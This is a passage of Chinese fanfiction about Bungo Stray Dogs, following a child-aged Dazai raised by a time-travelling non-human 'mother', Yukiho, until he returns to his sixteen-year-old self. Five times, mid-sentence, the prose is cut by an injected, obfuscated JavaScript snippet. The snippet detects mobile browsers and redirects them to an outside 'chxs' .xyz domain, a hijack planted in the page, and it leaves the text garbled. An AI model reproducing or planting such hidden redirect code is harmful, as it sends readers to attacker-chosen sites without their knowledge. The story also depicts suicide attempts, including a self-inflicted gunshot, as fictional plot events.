雪穗将自己锁定为对象之一,对着自己捏紧了‘滴管’的橡胶帽,再对着太宰松开,“锵锵~这样我们的能力就互换啦~” 太宰呆愣了一下,抬了抬胳膊、动了动腿,歪着头道:“没有什么变化呀?” “可能因为我是召唤流?”雪穗心虚地挠挠头,除了能在不同时空游走,她本身也没有什么其他特殊的能力,很多事情都是依靠魔法道具实现的。 “你可以试试召唤白龙。” “怎么召唤?在心里呼唤吗?” 太宰闭着眼睛,内心却在思考雪穗的话,她的能力并没有她嘴上说的那么简单,之前那些扭曲的‘门’到底是什么? 太宰暗中摸索着雪穗的能力,在瞟到手环那颗宝石时灵光一闪。 指尖翻转了一下宝石的角度,下一刻,他看见了——漂浮在空中的,无数的‘门’。 他试着伸手推了推其中一扇,却怎么也推不开,奇怪?有什么被他算漏了吗?35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14869293|159528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “阿治?阿治?快回神了,召唤叫名字就好啦,它叫小白”雪穗打断了太宰的试探。 太宰回神看着雪穗目光复杂,傍身的力量说换就换,这么自信我不会对你做什么吗? 太宰内心长叹一口气,开始摸索雪穗的‘召唤能力’。 太宰清了清嗓子,吐槽着白龙的名字过于朴实、没有特色时,一脚踏上路边的岩石,手指苍穹大声命令道: “出来吧——小白!” 下一瞬,狂风涌起,白龙从他身下将他驮起,太宰站在白龙的背上感到着它与自己意念想通,只需一个念头就能让小白带着他飞跃万里。 此刻,他脚踩白龙,双眼放光,他就是龙骑士!作为勇者!理应有一头龙! 太宰狂性大发命令小白带着他去征服星辰大海,360度在天空翱翔的太宰传来阵阵欢呼声。 对此,被留在原地的【人间失格】版雪穗对此只有六个点要说。 太宰站在白龙上凝视着白龙的一对龙角,心里渐渐产生了一个想法。 他从兜里摸出了——‘滴管’,此刻正对着白龙。 (雪穗:不是?他什么时候从我身上摸走的?!) 雪穗正狼狈地在丛林间奔跑,向太宰消失的方向追了过去。 好不容易走到视野开阔的山丘上,就看见她家小白从天上直愣愣地往下掉,雪穗捂脸尖叫: “啊啊啊啊!小白!”小白它还是个宝宝!它还不会说话啊啊! 当雪穗疯狂从次元口袋往外掏各种用得上的道具时,太宰正在空中左右横飞、上下乱飞、忽左忽右玩儿得不亦乐乎。 当雪穗拿出亡灵墓碑开始考虑要不要把小白变成幽灵龙的时候,太宰猛地向下俯冲拎起了小白的龙角往上飞。 此时的小白龙就像铁锅里无处可依的面条一样到处翻滚。 对此,雪穗双手合十感叹道:“阿治真是好孩子,救了小白一命呢~” …… 从此以后,小白再也不肯靠近太宰治十步以内。 当然,雪穗偷拿神器的事情很快就被桑落发现了。 桑落连发十几封吼叫信把雪穗骂得狗血淋头,勒令她立即将‘滴管’放回原位。 雪穗无奈摊手,真是的,上一秒刚还回去,下一秒就被骂。 下次还是弄个假的障眼法糊弄一下吧~ 10. 开局一只宰10 雪穗带着太宰来到了‘七条街’举办的烟火大会。 来来往往的非人生物都披上了人类的外衣,街道两旁的商铺都挂满了喜庆的灯笼与彩灯,乍一眼看上去仿佛回到了人类世界一般。 太宰手里拿着雪穗硬塞给他的苹果糖,穿着浴衣穿行在街道里,踢了踢脚下的石子,“这和人类世界举办的有什么区别吗?” 太宰无聊叹气,最近几个月已经快习惯天天奇幻大冒险的他,对这平平无奇的庆典提不起一点儿兴趣。 “我以为你会喜欢低调呢”,雪穗锤了锤掌心,恍然大悟道:“是我理解错了,抱歉”。 随即揭下了太宰背上贴的隐匿符纸,“果然还是得主人翁到场才对吧~好好享受哦阿治,这可是为你举办的庆典呢~” “什么?!”太宰感到晴天霹雳,根本没有预料到此次庆典和他有关,一种非常不妙的预感从他心底升起,他扑向雪穗准备夺回那张符纸,但为时已晚—— 他已经被街上的妖精们发现了。妖精们双眼放光向他冲来: “啊啊啊啊!是太宰大人~太宰大人生日快乐,请务必收下我的礼物—” “那是太宰大人吧?我没眼花吧?兄弟们快上!一定要为太宰大人送上生贺!” “天啊,太宰大人出现了——” “太宰大人看看我!看看我!” 太宰拔腿就跑,身后的妖精们穷追不舍,但他的小短腿哪里跑得过奇形怪状的妖精们,很快就被淹没在了妖精堆里,只来得及伸出一只手发出求救声:“救—命——” 雪穗看着眼前的闹剧拿出折扇捂着嘴低笑,拿起相机给太宰来了个十连拍。 …… 早在一周前,雪穗望着手册发愁,手册中写到: “重视孩子的生日,适当的生日惊喜是拉进心灵距离的良方”。 她深夜连线好友,拜托他们帮忙想想主意,怎么样才能给孩子一个终身难忘的生日庆典呢? 好友建议道:“最好是以人类的方式庆祝,让他收获更多的祝福”。 雪穗点点头,如果大家都为了阿治的到来欢笑庆祝,阿治一定会开心吧? 那怎样才能让自己的孩子收获更多的生日祝福呢? 空中party?海底聚会?好像正常人类都不会这样过生日吧……在划掉无数计划后,最终有了这次生日庆典。 庆典在‘七条街’举行,所有参与庆典的商铺将减免百年的税租。在这次庆典上,雪穗将对为太宰送上生日祝福和贺礼的妖精进行奖赏,送上神秘大礼。 (送完礼的雪穗长呼一口气,觉得仓库干净多了呢~) 为了拿到这份神秘大礼,妖精们可是在七天前就四处打听太宰的样貌: 通过读取太宰路过的影像、见过太宰的妖精倾情绘画,甚至用上了记忆提取…… 然而——绝大多数妖精只记住了太宰的标志性绷带。 “雪穗大人的幼崽是个绷带妖怪!”妖精们一传十,十传百,都信心满满地保证能一眼认出太宰大人…… 果不其然,隐匿符纸一失效,太宰作为整条街唯一一个全身缠满了绷带的生物,一下子就被随时关注着四周的妖精们抓了出来。 “真是太过分了!这些妖精也太粗鲁了!哪有按着我强塞礼物的!”太宰气呼呼地举着双手对雪穗跺脚抗议。 “要不是我发现他们只认绷带不认人,现在都还在被他们追!”衣服差点被扒光了才将绷带绑在其他妖精身上,侥幸逃过一劫的太宰喋喋不休,一副势要雪穗拿出说法的模样。 雪穗笑着看着太宰气鼓鼓的模样无辜摊手,“是你先说无聊的嘛~”。 “那也不是要……”话音未落,天空中咻然炸开烟花转移了太宰的注意力,绚烂的烟花映 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14869294|159528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在鸢色的眼眸里,映照着别样的流光。 下一瞬,烟花像流动的电影放映着太宰这四个月的‘高光时刻’。 刚燃起的感动一瞬间死掉了呢~太宰式死鱼眼。 雪穗站在太宰身边仿佛看不懂眼色一般为他介绍:“快看快看!是骑龙少年—阿治;噢噢!是上吊版阿治;还有勇者阿治、白雪公主治酱……” 太宰双颊通红,羞耻捂脸,什么啊?哪有把黑历史做成烟花来庆贺生日的,脸都快被丢光了!但他的嘴角却止不住地扬起了微笑。 …… 烟花散尽,过往的喧嚣变得宁静。 世间万物都如烟花一般短暂,无论多么快乐与幸福,都会像眼前的烟花一般短暂迸发后消散。 太宰凝望着漆黑如墨的太空,轻喃道:“若能在幸福消失殆尽前死去就好了”。 “那就让它不要消失”,雪穗倾身抱住浑身缠绕着寂寞的孩子,语气坚定地承诺:“我会一直在你身边,陪着你收获更多的幸福”。 太宰垂眸不语,这是他无法想象的未来,也是他无法回应的当下。 更何况……妖精的言语又有多少分量呢? 人类的生命不过沧海一粟,对于雪穗来说,自己不过就是她漫长生命中的调剂品,也不知道什么时候就会丧失兴趣丢下他离开。 他无法轻易相信雪穗的承诺,但这些保证终究在他心上留下了痕迹。 好在雪穗并未期待他的回答,她也知道她的孩子还没有彻底放下心防,他还需要时间,而恰好,她有很多的时间。 雪穗将太宰抱起,“我有一份礼物要送给你”。 “啊~不会是和那些妖精一样要强迫我收下吧?”太宰恹恹地搭理了一句,身体却已经习惯了雪穗的搂抱,熟练地趴在了雪穗的肩头。 “是带你回家哦,我们的家。” …… 11. 开局一只宰11 雪穗以非人类的身份游荡在不同的时空里,偶尔也在幻想乡里风餐露宿,居无定所,因此将太宰带走之后很长一段时间里,他们都是去别人家里打家劫舍地借宿。 当雪穗看见手册上所写的“孩子需要一个安全、温暖的‘家’,这是独属于他的避风港”恍然大悟。 她就说似乎缺了点什么,原来人类都是有‘家’的! 那么‘家’是什么呢? 雪穗也不清楚,大概是独立的房子一类的? 于是她决定为太宰建立一个单独的空间,是一个独属于太宰与雪穗的地方。 为此,雪穗请教了桑落的游戏空间是如何开辟的,花了四个月的时间精心准备。 这四个月内白日里带着太宰游走在幻想乡各处,将各种有价值的东西收入囊中,深夜则趁着太宰熟睡遁入空间内进行布置。 她借来三月的阳光、六月的绿意、九月的落日与十二月的冬雪为太宰搭建四季轮换的庭院,开凿池塘养一些美味的水生生物,当然也没有忘记太宰最爱的螃蟹。 拿着《建造大全》、《三十天成为顶级木工》逐字学习从零开始搭建房屋,接受亚当斯的建议设计了密道、地下室和刑具房,紧赶慢赶才在太宰的生日前夕完成一切。 “闭上眼睛数三下,就到家啦”。 完全是哄小孩子的语气呢~但太宰还是乖乖闭眼,等待着‘家’的到来,心里涌起了连自己都没有察觉到的微弱期待。 “欢迎回家,阿治”。 太宰睁开眼看见眼前的庭院,空旷但充满生机,木制的秋千架在银杏树下,房屋是非常眼熟的三层日式和居,划重点——非常眼熟。 “这不就是……” “是哦,是我作为津岛雪穗时居住的地方,毕竟……是唯一能作为参考的经验,不过不用担心,每个地方我都精心改造设计了一番”。 雪穗为太宰介绍着自己纯手工搭建的房屋,带着他从庭院走进室内。 是啊,如果没有十六年的分离,她本该作为津岛雪穗和他一起生活在这里。 现在,他们回家了。 —— 雪穗带着太宰一边参观一边解释道:“这里和游戏世界一样是独立的空间,开启空间需要找到‘门’和‘门的钥匙’。” ‘门’?太宰想起了之前能力交换时看见的那一幕:漫天漂浮的扭曲线条,歪歪扭扭地连接着不同的门。 “‘门’是什么?”太宰扯住雪穗的袖子,看着她的眼睛等待雪穗回应。 “是时空,每一扇门后面都是不同的时间或空间”,雪穗转过身面对太宰叹气道,她只是一个平平无奇的门童,除了有开门关门的权限之外,什么能力也没有。 “不过除我外,没有人能看见这些‘门’,因此你要学会将钥匙放到正确的位置”,雪穗带着太宰离开了家,出现在不知名森林的一块平地上,将太宰的手腕捧起,演示了如何通过翻转宝石召唤‘门’,并告诉了太宰门锁的位置。 只要将钥匙放上去,他就能随时随地回到家了。 “钥匙也是这颗宝石,对吗?”太宰在雪穗的点头中肯定了自己的猜测,“那如果钥匙丢了怎么办?” 闻言雪穗搓了搓太宰的脑袋,“宝石会不会丢你还不知道吗?不是说像狗皮膏药?不过你放心好啦,没有我的许可,有钥匙也无法开门哦,只有你可以使用钥匙。” 原来如此,是独一无二啊…… 太宰只是简单看了一遍之后就掌握了打开‘门’的技巧,他在雪穗的夸赞声中翘起不存在的尾巴摇了摇:“嘛~嘛~很简单啦~” 雪穗让太宰自己挑选房间,和他一起站在了只有基础家具—床和书桌的空荡荡房间里。 “自己的房间当然要自己设计啦,有需要可以叫我帮忙哦”,背着手心虚搅着衣角的雪穗如此说,她才不会说是因为搭建空间和房子耗费太多精力,而没有时间安排家具呢~ 听见这句话,太宰假装自己没看见雪穗的小动作,毫不客气地使唤着雪穗,手里不断从手环里掏出这几个月他拿到的‘战利品’。 “哦哦~魔药架,可以把我精心制作的魔药摆上去呢”; “这个是!中世纪名画啊名画!拜托一定要正对着床挂哦,听说里面住着半夜吃人的魔鬼,撒~好期待~” “唔…星期三送的绞刑架,要不要放在床头呢?”太宰把鼻子凑过去闻了闻,一脸嫌弃地收了回去,“还是算了,会熏得我睡不着觉的……” 太宰站在床边,看着雪穗只需要站在原地指尖轻点,就能将所有事物安排得井井有条,若有所思地感叹了一句:“魔法真是好用的东西”。 在魔法的帮助下,他们很快布置好了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14869295|159528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 房间。 之后,他们在新家做了第一顿饭,是寿喜锅,当然雪穗还为太宰额外蒸了两只大闸蟹。 在雪穗准备食材的时候,太宰听说这个房子里还有地下室和刑具房,立刻抛下雪穗去冒险了。 顺便为那些地方增添一点新东西,以后一定会用得上的~宰式偷笑 等待的时候,太宰在阁楼上远眺,空气中弥漫的香味勾着太宰的鼻子往前飘荡,将他引到了饭桌前,他在食物氤氲的烟火气中虔诚地双手合十:“我开动啦!” 他坐在雪穗对面,隔着缭绕的雾气一眨不眨地看着雪穗为他布菜,将思绪都深藏在了心中。 …… 太宰治是一个过分聪慧的孩子,在突发意外回到四岁后迅速分析了当下的情况,在和雪穗悬殊的武力差距中选择了扮演一个乖巧的孩子。 暗中寻找反制的机会回到横滨,至于‘母亲’?非人类高高在上偶然投注下的目光又能对他保持多久的兴趣呢? 但很快,太宰在天降‘母亲’所带给他的情感冲击中溃不成军,他发现雪穗所有关于他的感情都是真实的,滚烫得像烙铁一般炙烤着他的心。 愧疚是真,溺爱是真,包容是真,连带着他的各种试探都可以归为‘无伤大雅’的小游戏里。 每一日的问候、搂抱与陪伴,逐渐伸出了剧毒的枝丫将太宰缠绕,绞紧了他想要后退的脚步,腐蚀的粘液一点一点磨蚀着他的防线,这是一场漫长且残忍的杀戮。 他仿佛变成了沙漠里搁浅的鱼,干涸、心跳加速,这场‘亲情游戏’里只有他一个人在被驯化,即将被吞吃殆尽只有他,这很不公平,不是么? 世界上怎么会有如此标准完美的‘母亲’呢? 从不生气、对他的挑衅冒犯视若无睹,就好像是硬生生穿上了‘母亲’的身份,戴上了定制的面具,连带着他也束缚在了孩子的角色里。 多么奇妙扭曲的爱意啊,装模作样的表象下也会有如此可怖与真实的情感吗? 虚无的人生里突然闯入了奇妙的色彩,就让我看看你的底线在哪里吧…… 太宰望着雪穗明媚的笑容,眼底流淌着恶意与疯狂。 虽然他不需要像风一样来去自由的‘母亲’,但是啊…… 怪物一样的自己有着怪物一样的母亲,很合理, 对吧? 12. 开局一只宰12 自此以后,太宰和雪穗终于过上了白天打家劫舍,晚上回家养精蓄锐的悠闲生活。 深夜,雪穗拿出幼稚的睡前故事坐在太宰床边监督他睡觉。 太宰依旧反抗无果,听着烂掉牙的童话故事昏昏欲睡。 在即将进入梦乡的时候,听见雪穗问他:“阿治,我还欠你一个愿望,要许愿吗?” 太宰的睡意瞬间褪去,从心底蔓延的寒意冻结了原本温暖的被窝,妖精的注视原来比人类还短暂啊,他捏紧了双手,哑声问:“为什么要问我愿望?” 许下愿望之后,这一切就会结束吗? 他清楚地听见心底某个角落在一寸寸崩塌,糟糕了啊,被将军了。 还没有试探出雪穗底牌的太宰有种微妙的不甘心,不愿就此认输的太宰勉力压下了蔓延的悲哀,尽量保持着平静。 扰乱他心绪的人还在说话:“因为阿治离开了很久,该回到你的十六岁了,你的未来在那里”雪穗伸手想揉一揉太宰毛茸茸的脑袋,却被他偏头躲了过去。 “回去?”太宰憋出一句气音,夹杂的情绪一字一句揉碎在他的尾音里。他将此后的计划在脑海中一页一页划去,咽下苦涩的情绪快速翻阅着后备计划。 太宰沉默着蜷缩在被窝里,眼里的光逐渐暗淡。 没什么胜算呢~对方能够随意穿梭时空,能力不详,只能被动地等她把自己扔回横滨了吗? 不、不对,他还有唯一翻盘的可能,但在此之前,游戏可不能轻易结束啊。 太宰探出脑袋,黏稠的墨色流淌在他鸢色的眼眸里,他死死盯着雪穗一字一顿地说: “在我生命结束之前,我要你一直陪在我身边。” 别想中途逃跑哦~妈妈~ 雪穗噗嗤一声笑了出来:“这算什么愿望啊,即使你不说我也会一直陪在你身边的”。 不一样的,太宰望着雪穗勾起嘴角,这是不一样的。 ———— 翌日一早,太宰穿戴整齐下楼,看见雪穗倚在大门旁的身影,短暂出了一下神,迈着轻快的脚步扑向雪穗,元气满满地说:“今天就回横滨了吗?你会和我一-起-回-去-吗?”拖长的字调像钩子一样转了几个圈。 雪穗感觉到了太宰的不安,但她一时半会儿却找不到原因,蹲下身平视太宰答非所问道:“阿治,可以告诉我你在担心什么吗?” 太宰瞳孔一缩往后退了一步,像蛛丝一样逸散在外的情绪猛地收敛起来,担心?他在担心吗? 太宰沉默以对。 “身为一位母亲,可没办法对孩子的不安视而不见,能告诉我发生了什么吗?”雪穗拉住太宰的手,目光盈满担忧。 太宰仍旧不说话,摇了摇头。 “是因为我在你最喜欢的上吊绳上做了手脚?” 原来是你弄断的……太宰沉默不语,但此刻开始,沉默的性质已经变了。 “难不成?是我给你撒的幸运魔药被你发现了?” 怪不得每次自杀时都会突发意外,太宰低下头,肩膀却开始抖动。 “还是说……你已经发现池塘里的螃蟹都死掉了?” “什么?!我的螃蟹!”太宰抬头惊呼,看见雪穗含笑的表情就知道自己被骗了。 真是的,哪有这样的母亲,单方面挑动起他的情绪后自己抽身而去,太宰看向前方,却没有明确的视线落点,他叹了一口气,面部肌肉微微颤抖,咬了咬唇再次低声重复了一遍:“你会和我一起回去吗?” 他攥紧拳头,等待宣判的时间仿佛无比漫长,懊恼的神情浮现在他脸上,他此刻才意识到雪穗对他的影响远超他的预计。 雪穗恍然发现,她没有给阿治足够的安全感,她的孩子一直都在害怕她会离去,言语的承诺并不足以让他安心。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14869296|159528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 雪穗自嘲地笑了,她此刻感到深切的悲哀,这样的自己,怎么配得上“母亲”的身份呢? 她诚恳地捧起太宰的手,在太宰震惊的表情中划破了他们相握的手,缕缕鲜血渗出漂浮在空气中,彼此缠绕交融后骤然分开,落在手背上形成一个血红色的印记。 “这是作用于灵魂上的‘女巫的印记’,相当于一个定位器吧~我的老师是当世最伟大的‘女巫’,所以我会很多女巫的小把戏,你如果想知道我的事情,可以直接问我哦,我都会告诉你的”。 太宰的视线虚落在右手的手背上,手背上的血色印记让他清晰地感觉到另一个人的心跳,通过他的手背蔓延出的透明的细线,紧紧将他们捆绑在了一起。 他听着雪穗喋喋不休地解释,却感觉所有的声音正离他远去—— 此刻就像站在真空中,心底嘲讽他的声音震耳欲聋:大失败啊,大失败! 太宰往前一步猛地扑进了雪穗怀里,将那副快要哭出来的丢脸模样藏进雪穗的衣襟里,咬着嘴唇哽下了喉咙里的声音:真是输给你了。 雪穗抱紧太宰,安抚地拍着他的后背:“这样你就能一下子找到我啦”。 “跨世界呢?”太宰在雪穗怀里瓮声道。 “跨世界就不太管用了,最多只能感受到对方是不是还活着,阿治需要跨世界定位吗?我也可以去研究一下”雪穗努力回想要去哪里才能找到研究相应魔法的女巫。 “不…不需要了”,太宰从雪穗怀里抬起头,露出一个前所未有的释然笑容。 人类怎么能抓住无形的风呢?抓不住的。 但如果风主动停留了呢? 他的一切怀疑与揣测都在雪穗的行为中碎成粉末,她为自己套上了枷锁,并主动递到了自己手中。 这就是母亲吗? 如果是只属于我一个人的‘母亲’,就更好了。 13. 开局一只宰13 跨越时空要通过‘门’,雪穗带着太宰走进了时空长廊。 这是太宰第一次走进时空长廊,长廊两侧不规则地漂浮着各式扭曲的门,太宰试着动了动雪穗牵着他的手,想要近距离看一看这些‘门’,却被雪穗更紧地抓了回去。 “别松开,外人进入会被乱流绞杀,你现在被我的气息笼罩,所以才能站在这里”雪穗带着太宰步步向前,寻觅着属于太宰所在时空的门。 “唔,那么不同的时空会有时差吗?”太宰观察着四周的‘门’,金色的细线缠绕在门上,门与门之间是看似随意地漂浮着,但应当是按照一定的顺序进行排列的。 “当然有啦,所以要找到那一扇唯一正确的门,才能让你回到原本脱离时空的那一刻。”大部分时间都是乱开门的雪穗略带心虚,拧着眉头回忆着《守门人准则》上写的时间序列和空间方位。 糟糕了啊,有点想不起来了……早知道就先不烧掉了…… 要不随便推开一扇门看看?雪穗眼神飘忽一瞬,想要维持‘母亲’的尊严,硬撑着又往前走了几步。 太宰一路上都在分析‘门’上的线条,也没有预料到多年穿梭时空的守门人根本记不住门的顺序。 这时,一扇独特的‘门’引起了太宰的主意,那扇门虽然看上去与别的‘门’完全相同,但那扇‘门’的缝隙中夹着一页发着白光的纸。 他扯了扯雪穗的衣袖:“这是什么?” 雪穗看向太宰所指的那扇门,发现它就是他们所找的目标:“啊!就是这扇门”。 她带着太宰站到门前,扫视了一遍并没有发现任何异常,转头困惑地问道:“阿治,你说的是什么?” “是这个,别的门上没有”,太宰伸手试图抽出那张纸,指尖与白纸接触的瞬间发出了耀眼的白光,‘门’突兀的打开了——刹那间,四周涌起巨大的乱流,白纸传来巨大的吸力将太宰往门内拉扯。 “阿治——!” 雪穗用力攥紧了太宰的手,在太宰伸出手的那一刻,乍起的乱流伴随着刺眼的白光,遮盖了她的视线。 这不是普通的乱流,乱流中蕴含着绵密的刀光,刀光没有杀意,却一次次地阻挡着雪穗摸向腰间次元口袋的手。 太宰的半个身子都被吸入了门内,突然,他的耳边响起了非常清脆的“叮—铛——”声。 太宰惊讶地抬头,看见了他的手环在乱流中一寸寸断裂。 在肆虐的风中,他的耳朵清楚地捕捉到了这细碎的声音—— 啊……原来是手环碎片掉落在地板上的声音。 太宰看着破碎的手环,瞳孔一寸寸放大。 糟了!【人间失格】! 不到一秒的时间里,手环碎裂的景象在太宰眼里不断地拉长,他此刻能想到的最好的方法只有一个—— 在手环上的宝石滑落的瞬间,太宰主动松开了握着雪穗的手,让自己被吸入门内,却在即将消失时看见,从黑暗中伸出的一只手,接住了那颗蓝色的宝石。 太宰瞳孔紧缩,他倏然明白了来者的意图,还未来得及出声提醒,‘门’已经在他面前关闭了。 “阿治——!”在太宰松开手的同时,雪穗失去了和所有‘门’的联系,她向后一跃,跳出了白光的攻击范围,但来者早有预料地在雪穗的落点处打开了一扇‘门’。 雪穗避之不及掉入‘门’内,抬头间看向长廊阴影处那个几乎与黑暗融为一体的人。 那个人安静地站在那里,凌乱的风从他们之间肆掠而过,黑色的长袍没有掀起一丝涟漪,瘦削苍白的身躯被浓厚的绝望笼罩,阴暗沉郁的气息几乎凝固。 他站在暗处,似乎被时光隔绝,透过黑袍一瞬不瞬地盯着雪穗,没有任何动作。 雪穗看不清他的面容,只是匆匆一眼,却让她瞳孔紧缩,心头一窒,放弃了所有的抵抗,任由自己不断下坠。 ‘门’关闭后过了良久,在绝对的安静中,黑衣人一步一步从暗中走出,站到‘门前’凝视着这扇门,好像迫切地想透过门看见什么一样,动作缓慢地将手中的‘滴管’和宝石都揣进了兜里,双唇蠕动几下想要说些什么,却始终没有发出声音。 * 没有母亲会认不出自己的孩子。 雪穗望着消失的‘门’,徒劳地伸出手,指尖止不住得颤抖,无法言喻的巨大悲伤袭来,她尝试着召唤小白,毫无动静,也无法启用次元口袋…… 这熟悉的无力感是——【人间失格】…… 雪穗摔进幽暗的森林里,她仰面躺在地上,用力咽下喉头泛起的血沫,伸手捂住心脏的位置,想要将心底泛起的密密麻麻的疼痛压抑下去,“为什么——?!” * 另一头,掉入门内的太宰,被骤然涌起的水流淹没,他在河水里不断地下沉——冰冷刺骨的寒意从他的皮肤侵入了心里。 他感觉到有人跳下河向他游来,隔着河水断断续续并不真切的说话声都将现状反馈给了他——他回到了十六岁任务途中跳河的时候。 太宰举起空空荡荡的右手,看着澄澈的水流从他掌心划过,微微卷曲了一下手指,手背上的血色印记还在,他努力感受着印记中微弱的联系,轻轻闭上眼睛,让自己沉入更深的水域里。 但很快,他就被几个穿着黑衣西装的黑手党捞了起来。 太宰趴在岸边低咳,绷带上的水珠顺着脸庞滴落,他伸手碰了碰右眼的绷带,左右晃动了一下脑袋,很久没有用单独的一只眼睛看过世界了,还真是有点不习惯了。 “喂,太宰,你到底在搞什么?再不过去敌人收到风声跑了怎么办?”中原中也蹲坐在岸边的石头上气急败坏地吐槽着。 “你这个自杀狂想自杀也不看看时机,我们在做任务啊!任务!”这个混蛋半路跳车翻进了河里,连带着部下们都耽误在这里,中原中也气恼地挠着头,却半天没见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14869297|159528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太宰有任何反应。 “喂?混蛋青花鱼,你……?你怎么回事?”在往常太宰早就跳起来反驳了,但今天的太宰像是被水鬼附身了一样浑身缭绕着阴暗潮湿的死气。 中原中也咽了咽口水,此前看过的一些志怪故事浮现在脑海里,划过许多恐怖的想法。 “多久了?”太宰低垂着头坐在原地,声音喑哑。 突兀的凉风涌动在四周,带来一股奇异的铁锈般的涩味,身旁的温度都仿佛变低了一些。 中原中也激起一个寒颤,色厉内荏地站起来大声嚷道:“混蛋太宰,你别想吓我——”话还没说完就被太宰强势打断:“我说,已经过去过久了?!” 中原中也被太宰的眼神定在原地,那是一双恶鬼一般,比以往任何时候都阴暗的眼神,层叠的红血丝更增添了一份孤注一掷的疯狂。 中原中也直觉感到非常不对劲,踟蹰了一下,看了看时间说“从你跳下去到现在大概过了十五分钟”,要不是他一直看着太宰跳下去,看着手下将他捞起来,他都要怀疑太宰是不是被掉包了。 这条青花鱼给他的感觉非常不对劲,但他又说不上来是哪里不对劲。 “呵呵呵哈哈哈——”太宰瘫坐在岸边突兀地笑起来,身边所有人听见他令人发怵的笑声都猛地攥紧了手里的武器对准了他,一股寒意从他们心底升起。 中原中也被惊得往后退了一步,皱着眉头看着太宰发疯的场景,张了张嘴准备说些什么的时候,看见太宰跌跌撞撞地站起来向后走了两步,擦过了一个黑衣底层人员的肩。 中原中也惊觉不妙,飞奔向前一脚踹向太宰的手。 但为时已晚, “砰——!” 中原中也踢飞了太宰从底层人员腰上摸过的枪,但在手枪脱手之前,太宰就已经抵着胸口对自己开了一枪。 太宰捂着胸口跌坐在地,感受到身边微弱的停滞感低低地咳嗽了两声,喃喃自语道:“我可是说过了我很没有耐心的……” 不是可以选择时点吗?为什么还没有来找我呢? 氤氲的鲜血染红了他胸前的白色绷带,从他指缝间一滴一滴滑落,如同地狱里爬出的不可名状的物体一般带着咸湿腐臭的血腥味。 那些不想失去的东西终究是留不住的,一切值得追求的东西,在到手的一瞬间就注定会失去。[1] …… 现场一片寂静。 中原中也的头发一根根炸起:“太!宰!治!你到底——在发什么疯?!”他气得在旁边猛跺脚,一边安排人手赶紧将太宰送去医务室,一边推进着他们的任务计划。 在派人将太宰带走之时,他转头望向了鹤见川,水里究竟发生了什么?这家伙,哪怕平时再怎么找死,也从未像今天这样有着孤注一掷的——疯狂…… 中原中也头痛地捂着脑袋蹲在原地低吼两声,“这不还是把任务交给我一个人做了吗?!” 14.开局一只宰14 港口医务室 mafia的医务人员慌慌张张推着器具进来,准备对太宰进行急救,却在进门的一瞬间被强烈的杀气笼罩。 太宰坐起身来用黑沉沉的目光看向门口,捂着胸口命令道:“都滚出去,没有我的指令谁也不准进来。” 医务人员抖着腿跌落在地,恐惧地往后退了好几步,其中一个医疗员扶着墙用力咽了咽口水,勉强爬起身来,颤着声音说道:“太宰大人,您的伤需要立即处理。”这么多血不处理的话可能撑不了多久…… “我说,滚—出—去!” 空气中流淌着深渊般的恶意与杀气,门口所有人都在太宰逐渐不耐烦的表情中连滚带爬地消失了。 下一刻,太宰把脸上的表情一收,连蹦带跳地翻下床拿起了医疗架上的镊子,深吸一口气小心翼翼地把镊子伸入衣襟里,夹出了—— 一只巴掌大的棉布娃娃。 是那个号称能够囚禁灵魂的‘诅咒娃娃’,太宰用镊子夹着娃娃后颈的麻绳,将它放在了摆满手术器具的托盘上。 